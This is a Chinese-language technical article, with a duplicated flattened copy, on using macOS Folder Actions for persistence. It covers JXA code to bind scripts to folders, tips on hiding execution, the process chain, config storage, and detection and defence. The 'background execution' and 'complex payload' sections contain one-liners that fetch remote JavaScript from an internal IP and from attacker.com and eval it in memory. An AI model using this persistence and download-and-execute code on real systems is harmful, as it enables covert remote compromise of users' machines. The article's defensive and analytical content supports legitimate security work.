利用macOS 的 Folder Actions 功能实现持久化控制
字数 2119 2025-08-26 22:11:22

macOS Folder Actions 持久化控制技术详解

一、技术背景

Folder Actions 是 macOS 提供的一项功能,允许在特定文件夹发生事件(如添加/删除文件、打开/关闭窗口等)时自动执行 AppleScript 脚本。这项功能原本用于自动化工作流,但也可被攻击者用于实现持久化控制。

二、技术原理

1. 基本工作机制

  • 当关联文件夹发生以下事件时触发脚本执行:
    • 添加或删除项目
    • 打开、关闭、移动或调整窗口大小
  • 脚本在用户上下文中执行,即使注册为 root 用户也是如此

2. 实现方法

有三种主要方法可以设置 Folder Actions:

  1. 使用 Automator 程序

    • 创建 .workflow 工作流文件
    • 安装为服务
  2. 手动设置

    • 右键单击文件夹 → "文件夹操作设置..."
    • 选择"运行服务"
    • 手动附加脚本
    • 限制:只能看到 /Library/Scripts/Folder Action Scripts~/Library/Scripts/Folder Action Scripts 中的脚本
  3. 编程方式(推荐)

    • 使用 OSAScript 发送 Apple Event 消息到 System Events.app
    • 可以引用任意位置的脚本
    • 更灵活,不受 UI 限制

三、详细实现步骤

1. 创建脚本文件

首先需要创建编译好的 .scpt 脚本文件,可以使用 AppleScript 或 JavaScript for Automation (JXA)。

示例 PoC 脚本 (JXA):

var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /Users/itsafeature/Desktop/touched.txt");

保存为 disk_watching.scpt 文件。

2. 关联脚本与文件夹

使用 JXA 代码将脚本与文件夹关联:

var se = Application("System Events");
se.folderActionsEnabled = true;

var myScript = se.Script({
    name: "folder_watch.scpt",
    posixPath: "/Users/itsafeature/Desktop/folder_watch.scpt"
});

var fa = se.FolderAction({
    name: "watched",
    path: "/Users/itsafeature/Desktop/watched"
});

se.folderActions.push(fa);
fa.scripts.push(myScript);

代码解析:

  1. 获取 System Events 应用程序引用
  2. 启用 folderActions 功能
  3. 创建 Script 对象指向脚本文件
  4. 创建 FolderAction 对象指向目标文件夹
  5. 将 FolderAction 添加到系统
  6. 将 Script 关联到 FolderAction

3. 权限处理(macOS 10.14+)

从 macOS Mojave (10.14) 开始,首次发送 Apple Event 时会弹出权限请求窗口。位置:

  • System Preferences → Security & Privacy → Privacy
  • 在 Automation 类别中管理

如果权限被拒绝,会收到错误:Error: An error occurred (-1743)

权限重置方法

  • 使用 tccutil 二进制重置权限
  • 或在 UI 中手动切换

4. 触发机制

脚本可以通过以下方式触发:

  • 通过 Finder UI 打开文件夹
  • 向文件夹添加文件(拖放或终端命令)
  • 从文件夹删除文件
  • 通过 UI 导航出文件夹

四、持久化实践技巧

1. 目标文件夹选择

  • 避免频繁使用的文件夹(如 Documents、Downloads)
  • 选择会定期触发但不至于太频繁的文件夹

2. 隐藏执行痕迹

当脚本长时间运行时,菜单栏会出现图标显示正在运行的脚本。解决方法:

  • 将任务作为后台作业运行
  • 让初始 .scpt 文件快速退出

后台执行示例

var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("osascript -l JavaScript -e \"eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString('http://192.168.205.151/api/v1.2/files/download/22')),$.NSUTF8StringEncoding)));\" &> /dev/null &");

关键部分:&>/dev/null & 将输出重定向并在后台运行

3. 执行链分析

通过 xnumon 观察到的进程层次结构:

/usr/libexec/xpcproxy
  → /System/Library/CoreServices/ScriptMonitor.app/Contents/MacOS/ScriptMonitor
  → /System/Library/Frameworks/Foundation.framework/Versions/C/XPCServices/com.apple.foundation.UserScriptService.xpc/Contents/MacOS/com.apple.foundation.UserScriptService
    → /usr/bin/osascript -sd -E -P /users/itsafeature/Desktop/folder_watch.scpt

如果使用 doShellScript,会进一步生成:
sh -c touch /Users/itsafeature/Desktop/touched.txt

五、配置存储位置

Folder Actions 配置存储在:
~/Library/Preferences/com.apple.FolderActionsDispatcher.plist

该文件包含:

  • 递归的 base64 编码二进制 plist
  • 解码后包含 UI 和 JXA 中显示的信息

六、检测与防御

检测方法

  1. 检查以下位置的脚本:
    • /Library/Scripts/Folder Action Scripts
    • ~/Library/Scripts/Folder Action Scripts
  2. 监控 com.apple.FolderActionsDispatcher.plist 的修改
  3. 检查异常的系统事件订阅

防御措施

  1. 禁用不必要的 Folder Actions:
    defaults write com.apple.FolderActionsDispatcher.plist folderActionsEnabled -bool false
    
  2. 定期审查已注册的 Folder Actions
  3. 限制 Apple Events 权限
  4. 监控可疑的 osascript 执行

七、高级用法

1. 多脚本关联

可以将多个脚本关联到同一个文件夹,分别启用/禁用。

2. 查询现有配置

使用 JXA 查询现有 Folder Actions:

var se = Application("System Events");
se.folderActions.length; // 获取数量
se.folderActions[0].properties(); // 获取第一个的属性
se.folderActions[0].scripts.length; // 获取关联脚本数量
se.folderActions[0].scripts[0].properties(); // 获取脚本属性

3. 复杂 payload 执行

可以通过下载并执行内存中的 payload:

app.doShellScript("osascript -l JavaScript -e \"eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString('http://attacker.com/payload')),$.NSUTF8StringEncoding)));\" &> /dev/null &");

八、总结

Folder Actions 提供了一种强大的 macOS 持久化机制,具有以下特点:

  • 执行在用户上下文中
  • 多种触发方式
  • 相对隐蔽
  • 可通过编程方式配置

防御方需要关注相关配置文件和进程行为,以检测可能的恶意利用。

macOS Folder Actions 持久化控制技术详解 一、技术背景 Folder Actions 是 macOS 提供的一项功能,允许在特定文件夹发生事件(如添加/删除文件、打开/关闭窗口等)时自动执行 AppleScript 脚本。这项功能原本用于自动化工作流,但也可被攻击者用于实现持久化控制。 二、技术原理 1. 基本工作机制 当关联文件夹发生以下事件时触发脚本执行: 添加或删除项目 打开、关闭、移动或调整窗口大小 脚本在用户上下文中执行,即使注册为 root 用户也是如此 2. 实现方法 有三种主要方法可以设置 Folder Actions: 使用 Automator 程序 : 创建 .workflow 工作流文件 安装为服务 手动设置 : 右键单击文件夹 → "文件夹操作设置..." 选择"运行服务" 手动附加脚本 限制:只能看到 /Library/Scripts/Folder Action Scripts 和 ~/Library/Scripts/Folder Action Scripts 中的脚本 编程方式(推荐) : 使用 OSAScript 发送 Apple Event 消息到 System Events.app 可以引用任意位置的脚本 更灵活,不受 UI 限制 三、详细实现步骤 1. 创建脚本文件 首先需要创建编译好的 .scpt 脚本文件,可以使用 AppleScript 或 JavaScript for Automation (JXA)。 示例 PoC 脚本 (JXA) : 保存为 disk_watching.scpt 文件。 2. 关联脚本与文件夹 使用 JXA 代码将脚本与文件夹关联: 代码解析: 获取 System Events 应用程序引用 启用 folderActions 功能 创建 Script 对象指向脚本文件 创建 FolderAction 对象指向目标文件夹 将 FolderAction 添加到系统 将 Script 关联到 FolderAction 3. 权限处理(macOS 10.14+) 从 macOS Mojave (10.14) 开始,首次发送 Apple Event 时会弹出权限请求窗口。位置: System Preferences → Security & Privacy → Privacy 在 Automation 类别中管理 如果权限被拒绝,会收到错误: Error: An error occurred (-1743) 权限重置方法 : 使用 tccutil 二进制重置权限 或在 UI 中手动切换 4. 触发机制 脚本可以通过以下方式触发: 通过 Finder UI 打开文件夹 向文件夹添加文件(拖放或终端命令) 从文件夹删除文件 通过 UI 导航出文件夹 四、持久化实践技巧 1. 目标文件夹选择 避免频繁使用的文件夹(如 Documents、Downloads) 选择会定期触发但不至于太频繁的文件夹 2. 隐藏执行痕迹 当脚本长时间运行时,菜单栏会出现图标显示正在运行的脚本。解决方法: 将任务作为后台作业运行 让初始 .scpt 文件快速退出 后台执行示例 : 关键部分: &>/dev/null & 将输出重定向并在后台运行 3. 执行链分析 通过 xnumon 观察到的进程层次结构: 如果使用 doShellScript,会进一步生成: sh -c touch /Users/itsafeature/Desktop/touched.txt 五、配置存储位置 Folder Actions 配置存储在: ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist 该文件包含: 递归的 base64 编码二进制 plist 解码后包含 UI 和 JXA 中显示的信息 六、检测与防御 检测方法 检查以下位置的脚本: /Library/Scripts/Folder Action Scripts ~/Library/Scripts/Folder Action Scripts 监控 com.apple.FolderActionsDispatcher.plist 的修改 检查异常的系统事件订阅 防御措施 禁用不必要的 Folder Actions: 定期审查已注册的 Folder Actions 限制 Apple Events 权限 监控可疑的 osascript 执行 七、高级用法 1. 多脚本关联 可以将多个脚本关联到同一个文件夹,分别启用/禁用。 2. 查询现有配置 使用 JXA 查询现有 Folder Actions: 3. 复杂 payload 执行 可以通过下载并执行内存中的 payload: 八、总结 Folder Actions 提供了一种强大的 macOS 持久化机制,具有以下特点: 执行在用户上下文中 多种触发方式 相对隐蔽 可通过编程方式配置 防御方需要关注相关配置文件和进程行为,以检测可能的恶意利用。